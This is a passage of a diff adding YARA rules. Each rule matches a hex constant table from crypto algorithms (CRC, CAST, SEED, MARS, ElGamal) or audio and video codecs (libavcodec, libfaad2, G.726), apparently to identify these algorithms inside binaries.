0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011c0000011d }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_lo_filter__flt32___32_lil_36_
+{
+strings:
+	$a0 = { 41f6e53cf89b79bd954896bd7352d43eb31d4c3f7352d43e954896bdf89b79bd41f6e53c }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huff_iid_def__8_byt_56_
+{
+strings:
+	$a0 = { E1010203E2E00405E3DF0607E4DE0809DDE5E60ADC0BE70CDB0DDA0EE80F1011E9D91213EAEB1415D8EC1617D718191AD6D3D4D5ED1BEEEF }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS2__32_lil_1024_
+{
+strings:
+	$a0 = { 8929a8a185058481c616d4d2c313d0d3441454500d1d1c118c2caca0052524214d1d5c5143034043081818100e1e1c1241115051cc3cfcf0ca0ac8c2432360630828282044044440002020208d1d9c91c020e0e0c222e0e2c808c8c0071714138525a4a18f0f8c83030300034b3b78738b3bb8b303131013c212d0d2ce2eece2403070708c0c8c800f3f3c338828a8a002323032cd1ddcd1c636f4f244347470cc2cece0851594910b0b0803471754534c1c5c504b1b58538d3dbcb101010001042424200c1c1c10433370738818989000101010cc0cccc0c232f0f2c919d8d10c2c2c20c727e4e342327072830380838b1b9893c111d0d186068482c909c8c140206060401050508323a0a3cb2be8e30d0d0c018636b4b28e1e9c924f0f4c438737b4b34a1a5852c606c4c2483878708626a4a2021210128f2faca3c515d4d141216061c303c0c38434b4b041014041421250524d3d7c718d0d8c81080808000f1f1c138919989100000000091918110404040043135053c737f4f3c121e0e1cd3dfcf1463674720f2f2c23072724238030b0b08b0b88830e0e0c028b2ba8a38222a0a24e2e6c62831390934d0d4c41492968614c3c7c70090908010a0a08028f3fbcb3cf2fece3c333f0f3c505c4c18707848304141410ce3efcf244246460ce1edcd20e2e2c224b0b48430a1a181206060402012120214b2b68634626646202020002c535f4f1821290928a0a88820c0c0c008333b0b34e3e7c72c010d0d04a3a78724707444386169492c525e4e106262422800080808d2daca1cf1fdcd38121a0a100303030073734338e2eaca206363432051514110222202208383830c434f4f08727a4a3450544414c0c4c4081018081c929e8e1840484808717949305353431cb0bc8c3ce0eccc20c3c3c304131707101111011c707c4c38909888145357471cb3bf8f3ca1ad8d2c838f8f0841494904919585182028082c404c4c0cf3ffcf3490948410939383147276463c000c0c0cf0fccc3c717d4d38838b8b00f0f0c038e0e8c824202404203232023811190914c2c6c60cb1bd8d38424a4a004343430c131f0f148084840c202c0c24f2f6c630d3d3c310d2d2c21400040408e3ebcb20e3e3c328c3cbcb0c101c0c18a2aa8a28a3ab8b24e0e4c42451554510b3b3833cc1cdcd0482868604f3f7c738c1c9c90c818d8d04a0a484246165452473774738020a0a0cd2dece1460644428535b4b10b2b282345256461ca3af8f2c323e0e38939b8b18131b0b18f1f9c934e1e5c52c939f8f1c626e4e28232b0b201313031ca2ae8e24d2d6c614f1f5c53c424e4e0c030f0f0cd0dccc188088880061614120a3a383248185850c414d4d042226062092928210707040303333033c828e8e00b1b18130505040149397871801090904a2a68620a2a28228a1a9892 }
+
+condition:
+	$a0
+}
+
+	
+rule ElGamal_public_key_encryption__qbits___32_big_76_
+{
+strings:
+	$a0 = { 0000007700000091000000a5000000b7000000c6000000d4000000e1000000ed000000f9000001030000010d000001170000012000000128000001310000013900000140000001480000014f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_tab_log2_G729_BITEXACT__16_lil_66_
+{
+strings:
+	$a0 = { 0000af05320b8c10c015cf1abc1f88243529c42d37328f36ce3af53e0443fc46df4aae4e69521156a7592c5d9f60036457679b6ad16dfa7014742177227a177dff7f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_bits_vs_hebap__8_byt_20_
+{
+strings:
+	$a0 = { 0002030405070809030405060708090a0b0c0e10 }
+
+condition:
+	$a0
+}
+
+	
+rule Bzip2_BZ2_rNums__16_big_1024_
+{
+strings:
+	$a0 = { 026b02d0007f01e103a30330032d00e9023600f703d902d400cd01c6035f01eb02e500f203b500d602dd035b014f02c4026d023e0049028e02da01d801a301b4011601f0036300d2018f02a801e00033036e01d1032b00a9036502a3026302b903630231035e02af01fb011b01e200810327024f02dd026f009600ee003b017b02ac036d027100a90283006900aa025f020803a402d701dc02b501a900ae02870049007a014f021201ba035502b700f901bd0203038d022102bf0397036a01da037201f4025202640281032100dc00a2033303d8024d020101ef031f00a1025c03be021500dd0190018203630258030e017e0254019e00ab0204017702aa01e5038f01140062022900a30162029a03a501a801550215036600e302da01db00ba01070287021902ae025800e001d500440302039700be017501260336032800ce00b803af031b0180017f01cd019402f60347037702cb0043026a011400cc039603690309025c023003b700a0024202d2004f03240060019902c903ac028c03a603ca01bf013e0161035b02a0007003110285035f0323015e008b005d016200630334038c02610304009a0112024400b8004f0272027602e6028d011a02fa026f02a80051039f02720315007d019b020903aa012c0335004e015700af008000fa00aa030603cc011303e7027f01ef004e0160007e035903bc0166026b0244007c02e1025202bd0264029d0070008602b6016b03e0032902e700a803ce03b0017702ec0034025802eb028200b6035e00510158032503dc02e301ff028f032e014e00f90203038103bb029803d50289007103ce01cb037d00e401b103450229010c039e00f00066028e01cb003302ae02f2032602f801ed0193019f018a02af02bc03b2029e0290026202e2018802f8031f0377028d03d2014102400269027201f6037e02a700f301b802a8036f00c2023c028002d4039e003800cc02bc02c3009701c901c1031d00c30317022e03b102a70129003b0057033802c90297019c02b50156025e0086006c023b016c027700d400ae0283013001490157006101ae02ef01f1013a03d70176033603a0008c00ce0049010703d402e0036c01de01ae013100aa0202016c02b4033d0052035703b902a400f6017103ca012602ee0327033b009603160120039b0324017a00d7033c025001190235022b02c600520380033f02230105020c01ce012501d101f600380295033503d003df02920365038902f602e900c103000226026003a5017a011e00d703d3031803c1003d02b00319028403da0193006a016e038902840174023701d201b2028500d20185022603970087030c0305027b018502c30064027203be00a501f8039800b000c102c90359010900cb0032029c006c028503de027200c501fe016501660352035a016c03a8027e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x1EDC6F41__32_lil_refl_True_
+{
+strings:
+	$a0 = { 0000000003836bf2f7703be1f4f350131f979ac71c14f135e8e7a126eb64cad4cf58d98accdbb2783828e26b3bab8999d0cf434dd34c28bf27bf78ac243c135e6fc75e106c4435e298b765f19b340e037050c4d773d3af258720ff3684a394c4a09f879aa31cec6857efbc7b546cd789bf081d5dbc8b76af487826bc4bfb4d4ede8ebd20dd0dd6d229fe86c12a7ded33c11927e7c29a4c1536691c0635ea77f411d664aa12550f58e6a65f4be52534b90e41fe6d0dc2959ff931c58cfab2ae7eb149e330b2ca88c24639d8d145bab323aede79f7ad5d120559ae42165a2d29e47e113aba7d9251488961015b8ae26aa96186a07d6205cb8f96f69b9c9575f06ebc1d7b41bf9e10b34b6d40a048ee2b52a38ae186a0098a7454fada675779b1957345a2cb70c6c9398435992a87b6f2d86cd2380c6f5153fe9ba203ed9821681fd3da2551d0594ea324aa1eb027297542cc4dbf96cfced4643b3d847738beef851c82fcdb1f019729ebf2c73ae871acc80315661c00960deef4655dfdf7e6360f6293c6616110ad9395e3fd80966096727d045ca67e8737548a74674789f70cb5adcb1febae4874195abb240a59384ff8b25c852cb1dfeede452cbecd46afd53f0d5498710ed7f383fa24a390f9a7c86212c302b611406944e5b33957e63052a5c20c41fbc18f2a09357c7a1a36ff11e8dd9bdb3cde18b0ce2aebe0dd29688b2f783bf6827bb89d708f4bcd638cc8a69167ac6c45642f07b790dc57a4935f3c56b7632f08b4e044fa401314e943907f1ba8f4b5cfab77de3d5f848e2e5c07e5dc17fca892147fc360e08c9373e30ff881086b32550be859a7ff1b09b4fc986246d8a47118db271aea2fd44af92c57210bc733ebdfc4b0802d3043d03e33c0bbcca6b54ba2a536205051c5704352461bb1b922d165baa1ba974e52ea844dd1817669ed92286a6ef9da9e9da9c99d1ec23b767a08ef75f9631d810a330e828958fcc97215b2caf17e403e022e533d8145a1d6e58f75d566e4872195b4942216df66062acc3805a9a7caf15af7d9f2d99c2b19bd56ff1a3e3d0deecd6d1eed4e06ecc4268dc3c7a5e6313356b62230d5ddd0dbb11704d8327cf62cc12ce52f4247170b7e544908fd3fbbfc0e6fa8ff8d045a14e9ce8e176aa57ce399f56fe01a9e9dabe1d3d3a862b8215c91e8325f1283c0b4764914b7f522e6430672f54085190764b90a59673a61ab93c931b8904a5a4a7b2e909e78adfb6c8c5eab7f8fddc08d1aa830e3192b5b11edd80b02ee5b60f0053faa2406bcc1d6f24f91c5f1ccfa37d5f0e969d673829b2280d2882103b97aca6773aec9e4185c3d17484f3e9423bd756f6ef376ec0501821f5512819c3ee06af8f434697b9fc69d88cfd59e0ba427ba37b779b9b4dc8b4d478c984ec4e76aa5a02dbea623464c52d0165f51537dad }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox3__32_lil_1024_
+{
+strings:
+	$a0 = { 40c2ef8d9f5dfa25bf3d90eb07c910e8ff7f60474be49f3644c61f8c90caceaebff9b1beeacafbee5019cfe8ae07df5106880e924805adf0838d3ce1d51070929f7d1011b97d6407d4e4e3b25e284f3d20a8afb9e082defa8b2667a02e797282c0b23f552be29a489497efd4bc3f5e12eefcff21fd1b5b82edc5559240a2571202831a4eff7fe0bae74682520e14578ebff7733388819f8ce84efca6a5b582c9b71dc0a864c29f57314f09675f3fbdf2c1f7ff40fc8db71fc1d26b8e9be57b43bf3db0994bc6dbb5e6c08d63999d81551cc897a16e2d014a284a88c5716fc3cc13c243b8f143076c3c8909835fdded0f50e87f2f7e7fc0d7bf7f5002049afb5ad0d247a72e1951163ebf70af8013c3582e30985fc4c37c7202b40f0a82ef7f0fadfd968cae2a2c5d499ae98eb888da50a0f427849057ac1e49b46f7915dc52829b7dbdef7d5972a6d840a8ad0445f54503745dfa05c33ee81a75914fc269569241e9ef232ef103a9f20d2760b6e476027465fd94b2857992cbdb7682768177028d91aff89ef7484edf6d618f0e849de2837d2f84c8e50c3482b6bb9648b1b493ab3c30ef28af4f989baf9f770d56dc92201e4d2288aa378496dc297ddcd35627ee7c908b40d21fb5e37cc0e7a1b466e55e61e9c39d20f83ce3d1946041a39ccd0e46765c3b98ea008178d6d42c5747fdd9ed6cf79c22a8bdaaad7d124e078a4390c0971f8adb1b08be7ea09315ca38b9ff3cb097f8c0c23decb21a8d510e3864fb7bcc6888270fd981014912d4ffe55d6af87edd14e2a2766803a4b98f955d92faff394be9ae39ba0bd3ffa43b93f7fa2386496dfabc3c19457562277af45c82a08bbd61d1421ed1f404adce92a37e12b78d421072a97282a8c470920be57d12c8a15b284ff4623ca5eac03531d205e8fb29894282dffcb4536ab64f5bc17d0eab1f081fae1886106d08fdfc8928fff911cc4b69ae5c6a234dcade12c58c3f2cfe2dd0d29658eff8da52cfe4675b15958c484a490ca8b6b9bc828f5c456bd3893794603aa9c900ec53527144494b870a40bc73d71c67347cf67e71023655eb4fff2fd0a2c460bfd2c0033fd46defb450d18c470788186e00553fe5a2bcd4e6b9168004a233385797677d20d73d8f0fde337bf872334fccab5dc58876b0a6007b01007b94d2750057f888bbf99e014289ffa56442e00263852bd9db72691b97eede2fa26e2bae085f6d617aaf6787c9e5d2eb1fcfc2c8ef617125acf1c23982ccb84c2167d183e5b1623edcb7cebd107f385c0af93d44f00fc66d6e60493a546048c127571d8ae92b3817b48a24bee1200fda96af25844568e53b83997d450d6050932f2862b3348320111dd9a08d6d2b311e2b64005a309c88e6bc528a58031bd5efbaf79ced4241115c31a4c53e32833646efdf01c533a11c53d3e9833735ee }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_codetable__16_big_1280_
+{
+strings:
+	$a0 = { 029CF47AFB1AF902F607EC58EE1FFBEB0B5C0CF6F4FDF58BFC4CF4F7EE9EE5E9FEAC05CAFB0404EEFDCEE59B050100B3FB06F630E426ECC31B01096BF652FF64124BF0DF0000DFF0085CFE22F51F021507610AC70565E4D5E8E713DAF664E96E07050238F760F313EE55E7A4E2AFF5611106F454FB830A6804EB03E30A97F660D76A06BAE26FF54A087BF6E7040802EBFCA6E0F6CDD50C2212F8EF9FF613040B0746FC40E61C019A16FAF643F5BCF060FFC41C22F59005A60600F10904D1EB4A1B000635EFA50E51F280E016E1E30568125AEDA5E7BFD4581FA841BE03A21B5C04F5DCEF0A0712292E1C0D71E9E704AF09EEFF49DD65E0D80C9EF4C8F825DA0FDF3F32B70C0E085CF1A0DA55F4B0E2471973F715F62618BCF2FBEA0CDC56D48515A7FE69E5BFBBC6F4B72D300E6C1A8CFEFAD5A2F8C01C6B345CF453D69D134800F4F7550A600EC0EADCF035E8D20853035FF4CEF31A06CFF82AFF80F7FCE7270D0EF9D1FFEB0476F103F8D918FD09F1F4E0DB8CE68014BD07C2F73BEE7602EC078FF42DFE13DBD914F60C79EE7306F812B0FE8E074A0421F89F1CAEF57EF5EF02A4FD9DFE0A08BBF8C6F90FF7FF03F30F28F65F08A1FF680A200B0D15D40B17E376F417ECCA174323F1EEA102B90F4416A6EE9DEDDCF7B71544F5F60141FB4E0B1EF7DA0DCC0236FD3CEF4903B613740EA501C4F64C0DAE06B7FF5600EEF29501070842F82B0939E356FB482483FB40F053CB46FE491F5CEF780169F16F153907D4ED89FB15F06E1E3F20EDF195FC25144EFE59047EFAFF03301CF1100DF0930A82001E04DE0BEFFFDDFAA6FF0AFA2F1603FD5AF5BD0C6212DEEE1707D8FBDA031FFF7F02CD11F23A5929D201A10AC7073AEC3FFB7FF0D11CC1E97810BD029A05A3FC560014F7B9F95FF180F2B6F75C006E0858F478000CF9E0F254F8C1FADDF93D0488FDD206AD0058EE2700C2FE3AF473F4E9F97EFEEF0824FF65FF43F6B8067FFBF0F66FF4E6FAA7027CFF08F58B05ED004FF43BF1ABFC330779F643EB40FD1304F7F4A9F304F154F196F8DBF49FF9F5F538FA8204640734F8D601C802C2EF5001D3EF60F88B05F1046EFF81FC1EFD83FA2DE6A20369F803F10CF518FDBE0907F8E70A48F41407B0028104AA0765100B18C6FFD304AE0870FA57089BF82C06B10DBE0A5C109B0B78F08005000083FA3C0B0B0008F8780A620DB90C7FFCD00A7FF933FA810B840FBD018AFF03051210BE0033EE65FFE0FD6D0F3F160EEA2CF5E0164BFDA204D2F9B9EBBD0298FDF30E24F770F62106AB10C9F34DF715032CF72816850210F329054806880AAF04D9FBB1F337F2B10FC10670F46BFB6A05A4004A039607CF0393FBFEF640F9BB07F20B8600E5F78807F5000FFB10FF30F22005FA024505D303C2F5CBF6DE0E25FA30F777F92D005115A20598F72FFC05036300D6F714FA1AF96C0B00FF1B09F7FA930A9301F801DF0ADFFC0F09D5FA31F9C4026D0789FF6C089EEF40050CFA87FDF104DBF555077505000865FA230E680262EE110CEAF2D707530E34FB3F0A0E09D105A9F3FEEC8D032E0722F63F108AF0130680FF240D5A03EA045B030D067A0F4F17F20C44047C0FE105EC032F00C704A709B90A010975098B0302E8E5158BFE90F38104A604170E9E1B0FF7D701240C1B10D4FD0AF669020B0F510FCC056A0055110F03EEFB1CFA46FA990F0C062BFFB30810036413F50B67FF360167FE030E420C8608FF069D05100B59F0BD00E5FB54F6E41759F1FF03250EF1F3BE0EA2FDA20035FEF3F31B025E07E2FADC0FE0018E }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_PRIME_192_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 3045ae6fc8422f64ed579528d38120eae12196d5 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_48_128__avcodec___faad___16_big_28_
+{
+strings:
+	$a0 = { 00040008000c00100014001c0024002c003800440050006000700080 }
+
+condition:
+	$a0
+}
+
+	
+rule Adler_CRC32__0xb8bc6765___32_big_1024_
+{
+strings:
+	$a0 = { 00000000b8bc6765aa09c88b12b5afee8f62975737def032256b5fdc9dd738b9c5b428ef7d084f8a6fbde064d70187014ad6bfb8f26ad8dde0df7733586310565019579fe8a530fafa109f1442acf871df7bc0c867c7a7ad75720843cdce6f2695ad7f702d1118153fa4b7fb8718d09e1acfe827a2738f42b0c620ac087a47c9a032af3e188ec85b0a3b67b5b28700d02f50386997ec5f0c8559f0e23de59787658687d1dd3ae0b4cf8f4f5a7733283feae41086525877e340edd80df851bf68f02bf8a148979fc45a22302ae29e574f7f496ff6c7f50893d540a77d6dfcc018359fd04e8d23b72b9f9618c5272a7fa0bafd47190241207c10f48f92a848e8f79b14583d23a83f58311d90b689a1f7d31476cf6aaccaa80fbe7f07e106c360845ea070d2e61c17b7f4a9b8594c15df3cd1c2e785697e80e07bcb2f0ec377486bcb0d0fa273b168c76104c729d9b8a04c446f98f5fcd3ff90ee66507e56da371b0eb9274db6054028a4b0efc61c0c88a381dbb01a3967d77f2bd27891936e1ff43b26f703839a9066912f3f88299358edb44460540cf807311e4da8dfa6f1cfbafe92dfec462eb889549b1767ec27700271f048bbc94c2fdedbf980306345e7556b3fa09cd383c7f9c1366817798a0f72e45d37cb5ce150ae4e54ff40f6e89825ae8b88731637ef16048240f8bc3e279d21e91f24995578418be0d7af335cb0caed59b63b55e5d15e47507eb0ffec19d5623b216cda874609c832e9e7708e8e8228ed9ed49051f9b182e4565f3a58313aa78f09831f336ee60d86c108b53aa66dbd40e1a405fc86c11749292faff54e4a322276f38a9e1196982bbe782097d91d78f4c94bc048ae2ed2fd01c06a4166a5f7965e1c4f2a39795d9f9697e523f1f24d6b1905f5d77e60e762d18e5fdeb6ebc2098e527ab5e937680046d9d0bc21bc88df31ea3063568f22d6f9619a6a9e0407bda6bdbf01c1d8adb46e36150809531d724e9aa5ce29ffb77b86110fc7e1749210d9cd2aacbea83819114680a57623d8c66675607a011072cfaefeca73c99b57a4f122ef189647fdad39a945115ecc764dee06cef18963dc44268d64f841e8f92f795141931e345326b1daeb9ad6bfb3f9c6e90b45a18c19f00e62a14c69073c9b51be842736db969299352e2efe502654b9999ee8defc8c5d711234e11677a9362ece118a49ab033fe645bb838120e3e091765b5cf61349e959fdf1553e986c820621d43e6144c68bceaa7e37a9cfd67f41386ec3265d7c7689b3c4caeed6591dd66fe1a1b10af3141ee44ba8798113cb69d7ab770eb2b9c2a15c017ec6399ca9fe80241599e536a0360b8e1c516e866616a73eda71c22c6fde2c94d3b949090481f0b1b8e695a30d497b1bb12e1e43d23e48fb6e592de9dbf6c3516791a6ccb0a91f740cce7a66b96194de0506f1 }
+
+condition:
+	$a0
+}
+
+	
+rule MARS_Sbox__32_big_2048_
+{
+strings:
+	$a0 = { 09d0c47928c8ffe084aa6c399dad72877dff9be3d4268361c96da1d47974cc9385d0582e2a4b57051ca16a62c3bd279d0f1f25e55160372fc695c1fb4d7ff1e4ae5f6bf40d72ee46ff23de8ab1cf8e83f14902e23e981e428bf53eb67f4bf8ac83631f832597020576afe7843a7931d44f8464505c64c3f6210a5f18c6986a2628f4e8263a60a81cd340a6647ea820c4526687c57eddd12b32a11d1d9c9ef08680f6e831ab6f04ad56fb9b538b2e095cb68556aed2250b0d294a7721e21fb253ae136749e82aae869336510499404a6678a784dcb69ba84b0404679323db5c1e46cae1d62fe281345a2239421863cd5bc190c6e307dfb8466eb888162d0dcc4aa4ccae593798670dcbfa94934f481d45eafc8ca8db1129d6b0449e200f5407fb6167d9a8d1f457634daa96c33bec5958ababa014b6ccd20138d6279f026822158f376cd5092c237ebfc5659332889d2c854b3e9505bb9b437dcd5dcda02e926cfae527e536a1c3303412e1aef257f4623c4f1d7130a2e80968e5f5519c61ba445ded0ab875ce09c89654f93e698c0cca243cb3e42b062b970f3b8d9e00e050dffc5d6166e35f9288c079550d0591aee88e531e7475fe35782f6d829af60b21ae95e8eb8d6699486b901d7d9bfd6d6e311090acefe0670dd8dab2e692cd6d4365e53935143af345f06241fc4d460da3a37bcf37298bf1d1e014aac0701587ed553afd7d3ed2f29e0129a9d1f6efb10c53cf3b870fb414935c664465ed024acac759a744c11d2936a7dc580aa6cf574ca8040a7a106cd818078a98be4caccea063c33e92b5d1e0e03db322517e2092bd13386b2c4a52e8dd5858656dfb5082037141811896e337ef7ed39fb119c97f0df668fea01ba150a6e555258962eb6ff41bd7c9cd7aa619cd9ebcf095762672c073f003fb3c4ab7a50b1484126a487ba9b1a64fc9c6f6957d4938b06a75dd805fcd63d094cff51c999e1aa4d343b8495294ce9f8e99bffcd770c7c275cc378453a77b21be33397f41bd4e94d13192cc1f985915ea5199f861b7c9980a881d74fd5fb0a495f8614deed0b5778eea5941792dfa90c1f833f824b4c49653723ff6d5504ca5fec08630e9645b3fbbd67da26a48b203231a042975142d6393062eb1314916a45272532459a08e5f4872f966c7d907128dc00d44db62afc8d52d06316131d838e7ce1bc41d003a2e8c0fea83837eb984737d13ba4891c4f8b949a6d6acb3a215cdce8359838b6bd1aa31f579dd5221b93f93f5176781187dfddee94aeb762b38fd54431de1daab3948259ad3048fdfea32aa659473e3623f7863f3346c59ab3ab6853346a90b6b56443ec6de01f88d421fc09b0ed10c88f1a1e954c1f0297dead57b8d7ba4264cf5178a551a7cca1a9a5f08fcd651b925605182e11fc6c3b6fd9676337b3027b7c8eb149e5fd0306b57e354ad913cf77e16688d58872a692c2fc7dfe389ccc630738df10824a734e1797a8ba4a8d57b5b5d193bc8a8309b73f9a97873398d320f59573ee9df2b03e8a5b6c8848d070498df93c2720a1dc3684f259a943ba848a6370152863b5ea3d17b978b6d9b58ef0a700dd4a73d36bf8e6a08298695bc14e35b3447933ac5688894b0222f511c27ddfbcc3c006662b6117c83fe4e12b414c2bca7663a2fec10f456242055792e2a46f5d857ceda25cec3601d3b6c00ab46efac9c28b3c35047611dfee3257c3207fdd584823b14d84f23becb64a075f3a3088f8ead07adf1587796943cfacabf3dc09730cdf7679969da44e9ed2c854c1235935fa32f057d9f690624f81cb0bafd7b0dbdc6810f23bbfa929a1a6d969a176742979b74ac7d05010e65c486a3d963f907b5a0d0042bd3158d7d03287a8255bba8366f096edc3321916a7b77b56b86951622f9a6c5e6508cea17d1cd8c62bca3d63433358a68fd0f9b9d3cd6aa295bfe33384ac000738ecd67eb2fe2eb6dc297338b0206c9f246419cf1ad2b83c0453723f18acb5b3089160bead75d49465635f8a74b1e4e6c9e000399bd67466880b4174831acf423b2ca815ab35a6395e7302a67c58bdb446b108f8fa410223eda92b8b48b7f38d0eeab2701d40262d415af224a30b3d88abaf8b2c3afdaf7ef70cc97d3b7e9614b6c2baebff470f687cf386c9156ce092ee501e87da66ce91e6abb7bcc84c7922c209d3b71fd060e41c6d7590f154e03bb47183c198e63eeb2402ddbf49a6d5cba54923750aff9e142367838162b59726c7281b66760bb2926c148a0ce0da6c0496dad43507b718d496a9df057af44b1bde6054356dcde7ced35d51a138b62088cc935830311c96efca2686f86ec8e77cb6863e1d6b8c80f977879c491fd1b4c67f272698d7d5e368c31f7d95e2ea1d3493fdcd9433e896f15524bc4ca7aa6d1baf4a5a96dcc0bef8b46a169fda774df40b74e2088049a756607038e87c820211e448b7ad4bfc6403f351848e36d80bdb0381e62891c643d2107bf04d6f821092c8cf644f3890778404e7b78adb8a2c52d5342157abea2253e2e7bf3f4ae80f594f9953194e777eb92edb3816930da8d9336bf447469f26d9483ee6faed571371235de425f73b4e59f437dbe2d4e2d37b18549dc9a6398c39d981301c9a2389b1bbf0c18588da421c1ba7aa3865c71e085583c5cfcaa7d239ca40297d9ddd7dc28304b37802b7428ab54aeee03474b3fbb85692f2f08134e578e36d9e0bfae8b5fcfedb93ecf2b27248e170eb1ef7dc57fd61e760f16b1136601864e1b9bd7ea73193ab871bdcfa4d76fe31bd7820dbeb469abb960615370f85dffb07e37da30d0fbebc977b60b98b40f3a4d0fe6df4fc26b159cf22ac298d6e22b78ef6a61a94ac0ab56118714eea0f0df0d416419af70ee }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_g_decayslope__flt64___64_lil_360_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f03f000000000000f03f666666666666ee3fcdccccccccccec3f333333333333eb3f9a9999999999e93f000000000000e83f666666666666e63fcdcccccccccce43f333333333333e33f9a9999999999e13f000000000000e03fcdccccccccccdc3f9a9999999999d93f666666666666d63f333333333333d33f000000000000d03f9a9999999999c93f333333333333c33f9a9999999999b93f9a9999999999a93f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Bzip2_BZ2_rNums__32_lil_2048_
+{
+strings:
+	$a0 = { 6b020000d00200007f000000e1010000a3030000300300002d030000e900000036020000f7000000d9030000d4020000cd000000c60100005f030000eb010000e5020000f2000000b5030000d6000000dd0200005b0300004f010000c40200006d0200003e020000490000008e020000da020000d8010000a3010000b401000016010000f001000063030000d20000008f010000a8020000e0010000330000006e030000d10100002b030000a900000065030000a302000063020000b902000063030000310200005e030000af020000fb0100001b010000e201000081000000270300004f020000dd0200006f02000096000000ee0000003b0000007b010000ac0200006d03000071020000a90000008302000069000000aa0000005f02000008020000a4030000d7020000dc010000b5020000a9010000ae00000087020000490000007a0000004f01000012020000ba01000055030000b7020000f9000000bd010000030200008d03000021020000bf020000970300006a030000da01000072030000f401000052020000640200008102000021030000dc000000a200000033030000d80300004d02000001020000ef0100001f030000a10000005c020000be03000015020000dd000000900100008201000063030000580200000e0300007e010000540200009e010000ab0000000402000077010000aa020000e50100008f030000140100006200000029020000a3000000620100009a020000a5030000a8010000550100001502000066030000e3000000da020000db010000ba000000070100008702000019020000ae02000058020000e0000000d5010000440000000203000097030000be00000075010000260100003603000028030000ce000000b8000000af0300001b030000800100007f010000cd01000094010000f60200004703000077030000cb020000430000006a02000014010000cc0000009603000069030000090300005c02000030020000b7030000a000000042020000d20200004f000000240300006000000099010000c9020000ac0300008c020000a6030000ca030000bf0100003e010000610100005b030000a00200007000000011030000850200005f030000230300005e0100008b0000005d0000006201000063000000340300008c03000061020000040300009a0000001201000044020000b80000004f0000007202000076020000e60200008d0200001a010000fa0200006f020000a8020000510000009f03000072020000150300007d0000009b01000009020000aa0300002c010000350300004e00000057010000af00000080000000fa000000aa00000006030000cc03000013010000e70300007f020000ef0100004e000000600100007e00000059030000bc030000660100006b020000440200007c000000e102000052020000bd020000640200009d0200007000000086000000b60200006b010000e003000029030000e7020000a8000000ce030000b003000077010000ec0200003400000058020000eb02000082020000b60000005e030000510000005801000025030000dc030000e3020000ff0100008f0200002e0300004e010000f90000000302000081030000bb03000098020000d50300008902000071000000ce030000cb0100007d030000e4000000b101000045030000290200000c0100009e030000f0000000660000008e020000cb01000033000000ae020000f202000026030000f8020000ed010000930100009f0100008a010000af020000bc020000b20300009e0200009002000062020000e202000088010000f80200001f030000770300008d020000d203000041010000400200006902000072020000f60100007e030000a7020000f3000000b8010000a80200006f030000c20000003c02000080020000d40200009e03000038000000cc000000bc020000c302000097000000c9010000c10100001d030000c3000000170300002e020000b1030000a7020000290100003b0000005700000038030000c9020000970200009c010000b5020000560100005e020000860000006c0000003b0200006c01000077020000d4000000ae0000008302000030010000490100005701000061000000ae010000ef020000f10100003a010000d70300007601000036030000a00300008c000000ce0000004900000007010000d4030000e00200006c030000de010000ae01000031010000aa000000020200006c010000b40200003d0300005200000057030000b9030000a4020000f600000071010000ca03000026010000ee020000270300003b0300009600000016030000200100009b030000240300007a010000d70000003c0300005002000019010000350200002b020000c602000052000000800300003f03000023020000050100000c020000ce01000025010000d1010000f6010000380000009502000035030000d0030000df030000920200006503000089030000f6020000e9020000c1000000000300002602000060020000a50300007a0100001e010000d7000000d303000018030000c10300003d000000b00200001903000084020000da030000930100006a0000006e01000089030000840200007401000037020000d2010000b201000085020000d2000000850100002602000097030000870000000c030000050300007b02000085010000c30200006400000072020000be030000a5000000f801000098030000b0000000c1000000c90200005903000009010000cb000000320000009c0200006c00000085020000de03000072020000c5000000fe0100006501000066010000520300005a0300006c010000a80300007e020000 }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_outputmasks__16_big_640_
+{
+strings:
+	$a0 = { 00300010000000200000003000300000002000000030003000100020000000100030000000100030000000200020001000100030002000100020000000100020004000c000c00080008000c00040004000000000000000c000c00000008000400040000000000040008000000040008000c00040008000800000008000c000c000800040000000c000c00000000000000080008000c00040004000c000c0008000c000c00040000000400040008000c00040008000000040008000000000008000000200020003000000000001000200010000000200010003000300000001000200010001000000010003000300020003000100000003000200020003000000000003000000020001000200030001000200010003000200010000000200030003000000030003000200000001000300000002000100000000000100020001000800080004000c00080000000c0000000c0004000000080000000c0008000400000000000c00040004000c00000008000800000004000c00040004000c0008000c000000080004000c0000000400080000000c000800040008000c000400080004000c00000008000000040008000400040000000c0000000c00080000000c000000300030000000000030002000100030000000000030002000100030002000100020002000100030001000100020001000000020003000000020001000000010000000000030003000300030002000200010001000000010002000200010002000300030001000000000002000300000002000100000003000100000002000c00040000000c0008000c0000000800000008000c0004000c00040004000000080008000c0004000400000008000c00040000000000080008000c00040000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ape_filter_fracbits__8_byt_15_
+{
+strings:
+	$a0 = { 0000000b00000b00000a0d000b0d0f }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__iquant_tbl___16_lil_64_
+{
+strings:
+	$a0 = { 0000BEFF1C006800A900E00012013E0166018B01AD01CB01E80102021B02360236021B020202E801CB01AD018B0166013E011201E000A90068001C00BEFF0000 }
+
+condition:
+	$a0
+}
+
+	
+rule T264_cabac_probability__8_byt_512_
+{
+strings:
